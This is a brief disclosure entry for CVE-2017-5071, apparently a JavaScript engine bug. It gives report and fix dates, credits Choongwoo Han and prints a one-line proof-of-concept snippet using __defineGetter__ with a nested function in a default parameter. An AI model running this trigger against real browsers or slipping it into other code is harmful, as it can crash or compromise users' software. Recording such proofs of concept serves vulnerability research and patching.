CVE-2017-5071 Report: Apr 2017 Fix: May 2017 Credit: Choongwoo Han PoC this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { }); x; Reference Issue